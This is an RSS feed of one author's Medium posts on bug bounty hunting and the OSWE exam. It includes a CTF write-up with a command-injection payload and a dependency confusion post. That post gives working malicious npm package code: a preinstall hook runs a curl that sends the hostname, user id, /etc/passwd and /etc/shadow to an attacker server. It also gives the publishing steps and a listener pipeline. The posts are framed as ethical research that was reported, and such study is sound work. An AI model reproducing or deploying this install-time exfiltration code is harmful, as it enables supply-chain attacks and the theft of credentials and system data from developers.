<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ABDELKARIM MOUCHQUELITA on Medium]]></title>
        <description><![CDATA[Stories by ABDELKARIM MOUCHQUELITA on Medium]]></description>
        <link>https://medium.com/@mchklt?source=rss-e601ac360603------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xki-w5VRkdrYr4S8ZKsGrg.png</url>
            <title>Stories by ABDELKARIM MOUCHQUELITA on Medium</title>
            <link>https://medium.com/@mchklt?source=rss-e601ac360603------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 05 Nov 2026 02:18:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mchklt/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[How I Passed OSWE: The System That Actually Worked for Me]]></title>
            <link>https://mchklt.medium.com/how-i-passed-oswe-the-system-that-actually-worked-for-me-a21250dbce44?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/a21250dbce44</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Sun, 26 Apr 2026 19:45:11 GMT</pubDate>
            <atom:updated>2026-04-26T19:45:11.332Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kh_v7IX3-IelwHLvARc-nw.jpeg" /></figure><p>The OSWE exam is not a bug bounty. You don’t find one vulnerability, write it up, and move on. The exam wants a full compromise, and if you found SQL injection but can’t turn it into remote code execution, you’re not done. That expectation changed how I prepared for everything.</p><h3>The mindset shift that made the difference</h3><p>When I started, I was asking the wrong question. “Does this app have SQL injection?” is a terrible question because it leads to random testing. The right question is “where does user input touch a SQL query, and what stands between those two points?” That small reframe changes everything about how you read code and how you test.</p><p>Three ideas became the backbone of how I worked. First, every vulnerability is a path from something the attacker controls to somewhere dangerous, and your job is to check whether the stuff in the middle actually blocks that path or just looks like it does. Second, a finding that doesn’t chain to anything bigger is almost worthless under time pressure. A blind SQLi that leaks one character per request becomes interesting when it gets you a password reset token, which gets you into an admin panel, which has an XML import feature, which reads an SSH key. Third, features tell you where bugs live. File upload means think path traversal. Sortable search results mean think ORDER BY injection. You don’t guess, you look at the feature and the feature points you somewhere.</p><h3>What I studied before the course even started</h3><p>I spent two months studying each vulnerability class before I bought the course. SQL injection across four database engines, SSTI across sixteen template engines, XXE, deserialization in five languages, prototype pollution, SSRF, authentication bypass patterns. By the time the labs started, I wasn’t learning what these bugs were. I was learning how to chain them and how to find them fast in a large codebase.</p><p>Hack The Box trained my enumeration habits. Nobody gives you the vulnerability on the homepage there, and pushing through that frustration built instincts I used on exam day. PortSwigger Web Security Academy gave me structured depth on each vulnerability class, and their white-box labs where source code is provided are the closest thing publicly available to what OSWE actually tests. PentesterLab is where I learned to find bugs through code review specifically, which is the core of what this cert is about.</p><p>The habit that paid off more than any platform was reading disclosed HackerOne bug bounty reports. Not to copy payloads, but to understand the reasoning behind each bypass. Why XOR instead of OR? What makes a polyglot payload work? That kind of thinking means you’re never starting from zero when you hit a filter.</p><h3>The methodology I applied to every target</h3><p>I used the same four phases whether I was in a practice lab or on the actual exam.</p><p>The first phase was always mapping the application for 20 to 30 minutes before writing a single payload or opening any source code. Tech stack identification from headers, cookies, and error messages. Role enumeration. Mapping every feature and every input vector with Burp Proxy capturing everything. File uploads, sort parameters, import and export features, password reset flows, API endpoints, all of it. I skipped this phase once in practice and spent two hours on a complex SQL injection chain before noticing there was an unauthenticated file upload sitting right there the whole time. I never skipped it again.</p><p>The second phase was forming specific hypotheses from that feature map. A search feature with column sorting gets tested for ORDER BY injection. An XML-accepting API gets tested for XXE. A password reset flow gets tested for weak token generation. Every test was confirmation or elimination of a specific hypothesis, not random spraying.</p><p>The third phase was black-box testing based on those hypotheses. Targeted fuzzing, careful reading of response differences including timing, and writing down every result including “no difference” because a documented negative saves you from re-testing the same thing later.</p><p>The fourth phase was white-box code review. Set up the environment properly first, which means error display on, query logging on, debugger attached. Map routes to handler functions before reading any business logic. Then grep for dangerous sink patterns and narrow with negative filters. A search for query.*select returns 200 results. Adding a filter to exclude lines with prepare or setParameter reduces that to five results actually worth reading. Trace user input from source through every transformation to the sink, check sanitization for bypass potential, and validate with a test.</p><h3>Remote debugging is not advanced, it’s fundamental</h3><p>I treated debugging as an advanced technique and waited too long to set it up. Setting a breakpoint at a suspicious function and watching the application execute tells you in 60 seconds whether user input actually reaches the sink, what transformations happened along the way, and whether a filter is stripping characters or silently passing them through. That’s more information than an hour of guessing.</p><p>The thing that bites everyone is the firewall port. Application started with debug flags, debugger listening on all interfaces, port open in the guest firewall, port forwarding working, source code in your IDE matching what’s running. Verify with telnet localhost &lt;PORT&gt; before assuming it works.</p><h3>Writing exploits without AI assistance</h3><p>I didn’t use any AI coding tools during preparation. The exam doesn’t allow them, AI-generated exploit code gets subtle encoding and HTTP parsing details wrong in ways that are hard to debug if you don’t understand the mechanism, and honestly the struggle is where the learning happens. Every time I got stuck and had to dig through framework documentation or re-read the source code, I was building instincts that transferred to the next target.</p><p>My exploit workflow was always the same. Confirm the vulnerability manually with one request in Burp Repeater before writing any code. Read the source to understand what the vulnerable function expects. Copy the request as Python using Burp’s extension to get a working HTTP skeleton with zero typos. Write a minimal proof of concept. Generalize it. Then chain it to something bigger.</p><h3>Time management on exam day</h3><p>The 30-minute rule saved me more than once. If I had spent 30 minutes on a single vulnerability with no progress at all, I stopped and asked whether I was missing a simpler path. Trying increasingly exotic bypass variations is usually a sign the vulnerability isn’t exploitable the way you’re thinking about it. An application with dozens of endpoints has more than one vulnerability.</p><p>For priority, SSTI and deserialization get chased first because they often lead directly to RCE. SQL injection with stacked queries is next. XXE is high value because file read can chain to credential extraction which can chain to everything else. Blind SQLi is slow but useful. XSS requires user interaction and goes last.</p><h3>Things I’d do differently</h3><p>Set up remote debugging on day one. I waited until month three and lost a lot of time to guessing that a debugger would have resolved immediately.</p><p>Practice exploit chains earlier. I spent too long getting good at individual vulnerability classes in isolation. The exam tests the chain: SQLi to auth bypass to admin access to XXE to file read to credential extraction to RCE. That specific skill of linking bugs together needs its own practice time.</p><p>Build the grep cheat sheet at the start. I accumulated mine organically over months. If I had compiled it systematically from the beginning, my early code reviews would have been much faster.</p><p>Put more time into deserialization and prototype pollution. I over-invested in SQL injection and SSTI. Diversify earlier.</p><p>Do more timed practice. Most of my prep was untimed. The triage instincts you need under exam pressure only develop when you practice under exam pressure.</p><h3>What actually matters</h3><p>The techniques for OSWE are all publicly documented. SQL injection, SSTI, deserialization, XXE, you can learn all of it for free. What the exam tests is whether you can apply those techniques systematically to an application you’ve never seen before, under time pressure, with no hints. That’s a different skill from knowing the techniques, and it only comes from deliberate practice.</p><p>Build the methodology. The knowledge follows.</p><p><em>No lab solutions, exam targets, exploitation paths, flags, or credentials are included in this article. Everything here is methodology and habit, which anyone can build through their own work.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a21250dbce44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I got RCE on redbull from recon (CVE-2025–30406)]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://mchklt.medium.com/how-i-got-rce-on-redbull-from-recon-cve-2025-30406-f0e702d131ce?source=rss-e601ac360603------2"><img src="https://cdn-images-1.medium.com/max/1562/1*jzbO2qU2j5tonqVYwy-wCg.png" width="1562"></a></p><p class="medium-feed-snippet">CVE-2025&#x2013;30406 ViewState Exploit</p><p class="medium-feed-link"><a href="https://mchklt.medium.com/how-i-got-rce-on-redbull-from-recon-cve-2025-30406-f0e702d131ce?source=rss-e601ac360603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://mchklt.medium.com/how-i-got-rce-on-redbull-from-recon-cve-2025-30406-f0e702d131ce?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0e702d131ce</guid>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[red-bull]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 19:36:20 GMT</pubDate>
            <atom:updated>2025-07-31T19:36:54.417Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[port-scanning for large scopes can lead to $$$$]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://mchklt.medium.com/port-scanning-for-large-scopes-can-lead-to-fdc1b7b5af00?source=rss-e601ac360603------2"><img src="https://cdn-images-1.medium.com/max/800/1*38tyyYPREShA0AIojAoo_g.gif" width="800"></a></p><p class="medium-feed-snippet">Hacking Mosquitto: How a Port 1883 Service Led to $$$</p><p class="medium-feed-link"><a href="https://mchklt.medium.com/port-scanning-for-large-scopes-can-lead-to-fdc1b7b5af00?source=rss-e601ac360603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://mchklt.medium.com/port-scanning-for-large-scopes-can-lead-to-fdc1b7b5af00?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdc1b7b5af00</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Thu, 15 May 2025 12:31:07 GMT</pubDate>
            <atom:updated>2025-05-15T12:51:26.022Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Authentication Bypass leads to PII = ($$$)]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://mchklt.medium.com/authentication-bypass-leads-to-pii-01d34fc7f547?source=rss-e601ac360603------2"><img src="https://cdn-images-1.medium.com/max/1466/1*zZnzcARt-Kay7nUO0EEnxA.png" width="1466"></a></p><p class="medium-feed-snippet">Hello folks, Ramadan Kareem&#xA0;!</p><p class="medium-feed-link"><a href="https://mchklt.medium.com/authentication-bypass-leads-to-pii-01d34fc7f547?source=rss-e601ac360603------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://mchklt.medium.com/authentication-bypass-leads-to-pii-01d34fc7f547?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/01d34fc7f547</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Wed, 12 Mar 2025 18:24:12 GMT</pubDate>
            <atom:updated>2025-03-12T19:10:44.427Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[HTB UNIV ctf 24 (Armaxix - WEB)]]></title>
            <link>https://mchklt.medium.com/htb-univ-ctf-24-armaxix-web-e52bed9129c6?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/e52bed9129c6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Tue, 17 Dec 2024 18:48:25 GMT</pubDate>
            <atom:updated>2024-12-17T18:48:25.020Z</atom:updated>
            <content:encoded><![CDATA[<p>In this writeup, we’ll explore a lab instead of focusing on a new bug in bug bounty. While CTF challenges teach us a lot, they often differ from real-world scenarios. However, it’s crucial to extract the important lessons they offer.</p><p>In this lab, we chained two vulnerabilities to achieve command injection. The setup includes access to the source code and two distinct hosts.</p><p>83.136.254.158:45660 → This is Armaxis. I’m not entirely sure about its main purpose, but it includes functionalities for sending items to users via the admin, resembling a report-sending system.</p><p>83.136.254.158:33602 → This appears to be a mail service, similar to Gmail.</p><p>Before examining the source code, I tested everything I could think of: JWT manipulation, authentication bypass, and SQL injection. However, none of these approaches worked.</p><p>I then focused on the password reset functionality, where I discovered an account takeover vulnerability through manipulation of the password reset request.</p><p>Below is the password reset request body:</p><pre>{ <br>  &quot;token&quot;: &quot;f35137e53d9d900a8435a9734a79165d&quot;,<br>  &quot;newPassword&quot;: &quot;f35137e53d9d900a8435a9734a79165d&quot;,<br>  &quot;email&quot;: &quot;test@email.htb&quot;<br>}</pre><p>The request body is in JSON format. To achieve account takeover (ATO), we simply need a valid token. This can be obtained by requesting a password reset for the target account test@email.htb via the reset password page. The token will then be sent to the mail service host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*rk0gH2wHuDbfKBgv1qulrQ.png" /></figure><p>After that, I’ll receive the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DWnk5vcjig5L0iHySjF4g.png" /></figure><p>After digging further into the source code, I found the email admin@armaxis.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*xSRAFLM1judoKPtX-7ZK4Q.png" /></figure><p>Now, I’ll obtain a valid token, manipulate the request, and replace the test email with the admin email.</p><p>This is how the request body looks after manipulation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*Mf2hzXP8bezLsgQZ29iVgw.png" /></figure><p>Boom! We’re now the admin, and we have access to some interesting functions to explore and test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbpzgGzd0GRR3sBsJBzbEQ.png" /></figure><p>dispatch weapon page contains a form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*i8hoQ3cuPwykNV9R0xQnSw.png" /></figure><p>The “note (MarkDown)” section is the most interesting one. I then returned to the source code and found a file named markdown.js, which contains the Markdown handler. As part of it, there is a URL handler that executes a curl request when a URL is provided in the Markdown.</p><pre>const fileContent = execSync(`curl -s ${url}`);</pre><p>To achieve command injection, we simply need to separate the commands by adding a semicolon at the end of our URL.</p><p>Of course, I initially tried using a normal URL (http://...), but it didn’t work. So, I looked into how URLs are handled in Markdown, where there are two formats: []() for regular URLs and ![]() for embedded images.</p><p>In my first attempts, I focused only on [](), which was a mistake. It’s better to test using a wordlist that includes all URL-related functions in Markdown. After getting stuck with [](), I returned to the source code and found the following:</p><pre>return `&lt;img src=&quot;data:image/*;base64,${base64Content}&quot; alt=&quot;Embedded Image&quot;&gt;`;</pre><p>This means the code expects an embedded image URL rather than a regular one. So, I tried ![](file///etc/passwd), and it worked! I was able to retrieve the content of /etc/passwd encoded in base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0edtu14AiyQYhiLStbddQ.png" /></figure><p>Now that I can execute any command by separating it with a semicolon (;), I decided to focus on retrieving the flag. First, I used pwd to check my current directory. Then, I used the following command:</p><p>`![](file://;cat flag_path.txt)`</p><p>This allowed me to retrieve the flag content as base64. I simply decoded it to get the flag.</p><p>HTB{FAKE_FLAG_FOR_WRITEUP}</p><p>You just have to try everything you can. For each function, treat it like an application focus on it until you’ve explored all possibilities (reading docs, writeups, reports, and tweets…) to gather as many tricks and tips as possible. When you encounter a scenario (e.g., a file upload that only accepts SVG files), try techniques like XXE.</p><p>I hope this article sheds light on some of the darker areas in your understanding. Next time, Inshallah, we’ll tackle a critical bug!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e52bed9129c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RCE via Dependency Confusion: A Real-World Attack on Unclaimed npm Packages]]></title>
            <link>https://mchklt.medium.com/rce-via-dependency-confusion-a-real-world-attack-on-unclaimed-npm-packages-11f9043d00d5?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/11f9043d00d5</guid>
            <category><![CDATA[development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Tue, 05 Nov 2024 22:32:48 GMT</pubDate>
            <atom:updated>2024-11-05T22:32:48.032Z</atom:updated>
            <content:encoded><![CDATA[<p>Hacking Servers Through Misconfigured Node.js Packages</p><p>السلام عليكم و رحمة الله اللهم انصر اخواننا في غزه</p><p>Hi folks pray for our brothers in gaza,</p><p>This is me back again with a new scenario that i faced,</p><p>Before i would say don’t underestimate yourself when it comes to learning something new. I once came across an article on this topic a year ago, but I didn’t try to understand it because I thought it was beyond me. Recently, I gave it another look, and to my surprise, it was far easier and less complicated than I had expected. Sometimes, all it takes is a fresh attempt to realize just how capable you really are.</p><p>Let’s dig in,Dependency confusion is a vulnerability that allows attackers to hijack internal package dependencies by publishing similarly named packages in a public repository. When unclaimed private packages are inadvertently fetched from public repositories, it can lead to serious security risks like remote code execution (RCE) and data leaks.</p><p><em>speciall thanks for </em><a href="https://medium.com/u/7fa68cbc850e"><em>Alex Birsan</em></a><em> about his awesome articles that explaining this vulnerability as simple as possible. READ More </em><a href="https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610">Dependency Confusion</a></p><p>In a recent experiment, I observed how an unclaimed dependency could compromise an entire application’s security, leading to potential RCE and data exfiltration on unsuspecting client machines. This article dives into the techniques and methods behind this vulnerability and how organizations can prevent it.</p><blockquote>let me explain more Imagine you’re developing a Python project and decide to split your code into different classes, eventually creating a custom library for mathematical functions. Let’s say you name this library calc-me and keep it stored locally on your machine, using it exclusively within your project. However, if calc-me is not reserved on the public Python Package Index (PyPI), someone else could create and publish a package with the same name, calc-me, to the public registry.</blockquote><blockquote>If your project is set up to search both local and public repositories for dependencies, it could mistakenly download this public version instead of your local one, especially if the public version has a higher version number. This is the core of the “dependency confusion” vulnerability, where public packages can unintentionally override local or private ones.</blockquote><p>but in our case i faced same thing but in node.js module, i was digging in github of redacted program and i found package.json file which contains informations about modules that used by that application i found package named noderedactedsdk which i check in npmjs offecial website that wasn’t claimed in public</p><p><a href="https://www.npmjs.com/package/noderedactedsdk">https://www.npmjs.com/package/noderedactedsdk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2--LjAqHSaezFtiPG4EODQ.png" /></figure><p>so this module not claimed, let’s cook it using npm-cli,</p><pre>mkdir noderedactedsdk; cd noderedactedsdk<br>npm login #then login using your email and password<br>npm init #then fill up the input which the first one is name of module in this case it&#39;s noderedactedsdk, also version keep it higher than the one that was in package.jsonbash</pre><p>by default the package.json works with index.js</p><p>which we gonna make to contain a malicious actions in same folder we gonna create index.js contains:</p><pre>const { exec } = require(&quot;child_process&quot;);<br>const command = `<br>curl -X POST &quot;http://yourserver.com/noderedactedsdk/$(whoami)/$(hostname)/&quot; \<br>-A &quot;$( (cat /etc/passwd /etc/hosts &amp;&amp; id &amp;&amp; { [ -r /etc/shadow ] &amp;&amp; cat /etc/shadow || echo &#39;No shadow access&#39;; } | base64 | tr &#39;\\n&#39; &#39;.&#39;)&quot; \<br>-s -o /dev/null<br>`;<br>exec(command, (error, stdout, stderr) =&gt; {<br>if (error) {<br>console.error(error.message);<br>return;<br>}<br>if (stderr) {<br>console.log(stderr);<br>}<br>console.log(stdout);<br>});</pre><p>Save the code. This payload will execute when the package is installed, sending system information to your server.</p><p>we have to add line in package.json to execute index.js directly after installing</p><p>the final result of package.json:</p><pre>{&quot;name&quot;: &quot;noderedacteddk&quot;,<br>&quot;version&quot;: &quot;5.0.0&quot;,<br>&quot;description&quot;: &quot;Nodejs SDK for Redacted&quot;,<br>&quot;main&quot;: &quot;index.js&quot;,<br>&quot;scripts&quot;: {<br>&quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;,<br>&quot;preinstall&quot;: &quot;node index.js&quot;<br>},<br>&quot;author&quot;: &quot;&quot;,<br>&quot;license&quot;: &quot;ISC&quot;,<br>&quot;dependencies&quot;: {<br>&quot;noderedacteddk&quot;: &quot;¹.0.2&quot;}}</pre><p>let’s publish by executing in same folder:</p><pre>npm publish</pre><p>then npm will confirm that your package has been published. It’s now available for anyone to install from the npm registry.</p><p>Once the package is published, any user or system attempting to install or update noderedactedsdk could unknowingly download the malicious version from the public npm registry.</p><p>the malicious version, which is in index.js, contains a command that collects sensitive information from the host machine, including the hostname, user ID, and contents of important system files like /etc/hosts and /etc/passwd. The command encodes this data in base64 and sends it via a POST request to an external server controlled by me. This stealthy exfiltration technique allows me to gather critical information from any system that installs or updates this compromised package, potentially leading to further exploitation.</p><p><strong>i can gain reverse shell to but for ethical reasons i did’t cause this is a clients or developers machines not a server of redacted.com</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*xEr3ZCPOr4GxdP6UkaAn0g.jpeg" /></figure><p>On my server, i setuped logging to capture requests from clients installing the package. using this command in background:</p><pre>stdbuf -oL tail -f /var/log/apache2/access.log | grep - line-buffered &quot;POST&quot; | while read -r line<br>do<br>echo &quot;$line&quot; | notify -silent -id mchklt &gt;/dev/null<br>done</pre><p>When someone installs this package, I receive his machine informations directly on my Telegram.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SxMslt98rGG_pfaU8CIfg.jpeg" /></figure><p>i report it and they response fast but with duplicate state :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cdBbNqvMKx0X492EZtpauw.png" /></figure><p>anyway allhamdulillah next time inshallah it will be in accepted state as well as you have to know that things comes in there time just keep diging trying and all it gonna be good .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1q-scFQNb_JjP9EJ" /></figure><p>follow me <a href="https://x.com/mchklt">X</a> , <a href="https://www.linkedin.com/in/mchklt/">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11f9043d00d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering Path Traversal Through Host Monitoring]]></title>
            <link>https://mchklt.medium.com/uncovering-path-traversal-vulnerabilities-through-host-monitoring-c8abb65f48f5?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8abb65f48f5</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 20:47:44 GMT</pubDate>
            <atom:updated>2024-10-12T23:28:48.648Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم و رحمة الله، اللهم انصر اخواننا في غزه 🇵🇸</p><p>Salam o alikum, pray for people’s in gaza 🇵🇸</p><p>I recently wrote a simple Bash script that turned out to be a game-changer in one of my hunts, and I wanted to share how it helped me uncover a path traversel.</p><p>The script’s purpose is straightforward: it monitors hosts by pinging them every hour. If a host comes online, it sends a notification to my Telegram using the <a href="https://github.com/projectdiscovery/notify">notify</a> tool by ProjectDiscovery. After notifying me once, it stops pinging that host for 24 hours to avoid unnecessary alerts. This setup saved me a lot of time and hassle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*At-RJ2pm9NJOTKjyyuAGCA@2x.jpeg" /></figure><p>Here’s the scenario: I was investigating a host, but it was offline when I first checked. So, I added it to my script, set it to monitor, and waited. Not long after, I received a notification that the host was back online. When I checked, I discovered it was running Jira by Atlassian. After some digging, I found that the Jira instance had a path traversal vulnerability — a high issue that could have gone unnoticed if I hadn’t been alerted in time. Alhamdulillah, I managed to report the vulnerability before anyone else could.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*jwMYEAAIzCLrKQPR10_fFQ@2x.jpeg" /></figure><p>This small script made a huge difference in that moment, and I think others might find it useful too. Whether you’re a bug bounty hunter, penetration tester, or just someone who needs to keep an eye on important infrastructure, this tool could come in handy.</p><p>You can check out the code on <a href="https://github.com/mchklt/Ping-Pong">PingPong</a>. I’d love to hear your thoughts or suggestions for improvements!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8abb65f48f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Self-XSS via filename + CSRF on contact us ‘multipart/data’ form]]></title>
            <link>https://mchklt.medium.com/self-xss-via-filename-csrf-on-contact-us-multipart-data-form-f852dd539547?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/f852dd539547</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Tue, 28 May 2024 17:18:05 GMT</pubDate>
            <atom:updated>2024-05-28T17:18:05.243Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم و رحمة الله قبل كل شيئ ارجو منكم الدعاء لإخواننا في غزة, اللهم أنصرهم نصرا قريبا مؤزرا</p><p>Hello everyone, pray for our brothers in Gaza. #Free_Palestine.</p><p>In this writeup, I’m going to talk about techniques that I used to get reflected cross-site scripting (RXSS). It was a new experience that I faced, and I learned a lot from it. Let’s start.</p><p>In our target, target.com, there is a “Contact Us” form that contains an upload file option to submit a screenshot of your problem. As usual, I checked for reflection by putting a random string like “mchkltxss” and found that it reflected. I tried to inject XSS payloads, but they didn’t work because of HTML encoding.</p><p>I switched to Burp Suite for a better view of the request. The name of the file that I uploaded goes into the filename variable. I tried manipulating this variable by putting random text to see if there was any reflection, but there was none initially. Then, I tried putting a random extension, like “helloworld.fakeext”. This reflected an error message containing</p><pre>The file extension provided ‘helloworld.fakeext’ does not match the expected media types.</pre><p>So, we have reflection.</p><p>I attempted HTML injection, and it worked. However, when I tried alert(document.domain), it didn’t work because the function detected that .domain was an extension. But JavaScript is great and gives us functions that don’t need dots. I used alert(document[‘domain’]), and it worked. But up to this point, it was just self-XSS because the file upload uses a POST request with multipart/form-data encoding.</p><p>I tried Burp Suite CSRF PoCs, including the multipart one, and they worked, but the file upload part didn’t. So, it was time for coding. I wrote custom code to handle the file upload via a POST request, and after some tweaks, it worked.</p><p><em>kudos to </em><a href="https://medium.com/u/b52eada41423"><em>Sabermohamed</em></a><em> about his article that showed me the way of doing.</em></p><p>The js code was dynamically add hidden inputs to a form, convert base64 encoded data into a file, and attach this file to the form. The form is then automatically submitted. Now I had a fully exploitable rXSS.</p><p>to read the exploitation code check <a href="https://github.com/mchklt/csrf-file-upload-poc">csrf-file-upload-poc</a></p><p>it was valid and non duplicate in two assets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*6YrHsFU758plR_F-zzNR6g.png" /></figure><p>In conclusion, this experience highlighted the importance of thoroughly testing all input fields and exploring various techniques to check for reflection, rXSS, or HTML injection. It underscored the value of experimenting with different methods and tools. Stay vigilant and keep learning.</p><p><strong>الحمد لله الذي علمنا ما لم نكن نعلم وكان فضله — تعالى — علينا عظيما والصلاة والسلام على رسوله الكريم وعلى آله وصحبه</strong></p><h3><strong>#Free_Palestine</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f852dd539547" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found My First RCE !]]></title>
            <link>https://mchklt.medium.com/how-i-found-my-first-rce-f80073626fff?source=rss-e601ac360603------2</link>
            <guid isPermaLink="false">https://medium.com/p/f80073626fff</guid>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ABDELKARIM MOUCHQUELITA]]></dc:creator>
            <pubDate>Mon, 13 May 2024 20:46:51 GMT</pubDate>
            <atom:updated>2024-05-13T21:42:33.380Z</atom:updated>
